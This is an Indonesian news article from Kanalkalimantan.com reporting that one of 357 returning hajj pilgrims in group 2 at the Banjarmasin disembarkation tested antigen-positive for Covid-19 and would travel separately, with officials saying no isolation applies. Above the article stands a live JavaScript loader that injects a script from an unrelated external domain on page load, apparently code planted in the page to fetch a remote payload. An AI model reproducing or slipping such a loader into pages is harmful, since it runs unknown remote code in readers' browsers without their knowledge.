(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Satu Jemaah Kloter 2 Positif Covid-19, Dibawa Terpisah dari Rombongan

KANALKALIMANTAN.COM, BANJARBARU – Tes antigen menjadi syarat wajib bagi para jemaah haji yang baru tiba di Debarkasi Haji Banjarmasin.

Bertempat di Asrama Haji Debarkasi Banjarmasin, Panitia Penyelenggara Ibadah Haji (PPIH) Bidang Kesehatan Debarkasi Haji Banjarmasin menyiapkan 10 tenda untuk menyambut 10 bus yang membawa 357 jemaah haji Kloter 2-BDJ untuk dilakukan tes antigen Covid-19.

Pemeriksaan antigen di Debarkasi Banjarmasin dilakukan Kantor Kesehatan Pelabuhan (KKP) dan Dinas Kesehatan Provinsi Kalimantan Selatan.

Kepala Seksi Kesehatan PPIH Debarkasi Banjarmasin, Basuki Rahmat menerangkan dari 357 jemaah haji yang dites antigen, satu jemaah haji hasil tesnya positif Covid-19.

“Hasil tes tadi ada 1 yang positif Covid-19,” ujarnya.
Dilanjutkan Basuki, pihak PPIH sudah mengantongi hasil PCR dan diserahkan oleh dinas daerah jemaah haji tersebut.

“Jemaah haji ini tidak ada gejala, dia dalam keadaan sehat,” tambahnya.

Terkait kedatangan jemaah haji, dibeberkan Basuki, setidaknya ada 9 orang jemaah haji yang dilakukan observasi di ruang Poli Kesehatan Debarkasi Banjarmasin.

“Tadi sempat ada 9 orang yang dibawa ke poli pakai ambulans, tinggal 1 orang yang sakit masih diobservasi karena rematik,” bebernya.

Dituturkan Basuki, rata-rata jemaah haji yang masuk Poli Kesehatan disebabkan kelelahan akibat perjalanan panjang.

Sementara itu, Kepala Kemenag Kalsel, Muhammad Thambrin mengatakan, jika ada jemaah haji yang positif Covid-19 tidak akan dilakukan isolasi ataupun karantina.

“Nanti dibawa terpisah mobil disediakan daerah masing-masing, karena jemaah sudah vaksin semua, jemaah cukup menjaga kesehatan, istirahat dan tidak berkumpul dari rombongannya,” tandasnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie